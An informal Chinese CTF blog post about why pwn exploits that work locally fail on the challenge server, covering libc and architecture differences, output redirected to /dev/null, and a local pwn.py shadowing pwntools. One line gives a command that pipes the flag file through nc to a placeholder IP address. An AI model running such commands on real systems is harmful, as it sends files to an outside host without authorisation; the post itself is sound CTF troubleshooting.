pwn题-与服务器不同的一万种场合
0x0
↑哇好可爱(×)
libc不同。感觉这个最常见。
=x=
操作系统不同。
当年做一道32x的题的时候,同样的脚本能pwn服务器不能pwn本机。
服务器是64位的,而我的虚拟机是32位的。
原因是exp里用到了write函数,
write(fd,*buf,len)
而*buf+len
所在地址在64x有在32位没有(还是不可写之类的,whatever)……
QWQ
输出被重定向
def exec_serv(name, payload):
p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file('/dev/null','w'), stderr=subprocess.STDOUT)
p.stdin.write(payload)
p.wait()
if __name__ == '__main__':
proof_of_work()
payload = sys.stdin.read(0x100)
exec_serv('./babystack', payload)
就无法直接get shell,需要system(“cat flag | nc xxx.xxx.xxx.xxx xxxx”)这样才能get flag |
一个库在这个目录下import没事,在另一个目录不行……的场合
有一天……我……开了个文件……名为pwn.py
并在第一行……写下了……
from pwn import *
context.log_level = 'debug'
这样的代码……
然后……
Traceback (most recent call last):
File "pwn.py", line 1, in <module>
from pwn import *
File "/home/rhythm/pwn.py", line 2, in <module>
context.log_level = 'debug'
NameError: name 'context' is not defined
作为一个神志清晰的人……应该能一眼看出……
它以为我要import的pwn是 我自己写的pwn.py ……而且不是 pwntools ……
但如果……那时候……刚好神志不清……真的很容易绕进去……
甚至做出开n个窗口……
发现……
“咦别的目录下from pwn imort *
没事……
但是在这个目录下from pwn imort *
又报错了”
然后越来越迷惑……
看了下pwnlib源码也没发现什么问题……
甚至开始更新系统pip重装pwntools……
即使这个问题你之前帮助别人解决过……
总之